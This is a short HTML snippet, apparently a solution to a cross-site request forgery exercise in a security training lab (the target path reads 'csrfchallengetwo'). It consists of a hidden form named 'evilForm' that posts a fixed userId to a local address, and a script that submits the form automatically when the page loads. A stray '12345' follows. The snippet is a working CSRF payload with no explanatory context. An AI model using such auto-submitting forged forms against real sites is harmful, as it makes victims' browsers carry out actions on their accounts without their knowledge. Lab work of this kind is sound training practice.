<form name="evilForm" action="https://192.168.1.5/user/csrfchallengetwo/plusplus" method="POST"> <input type="hidden" name="userId" value="637e8d2e65542fe82fe6da3b0356bc0865b0b791" /> <input type="submit"/></form><script> document.evilForm.submit(); </script>
12345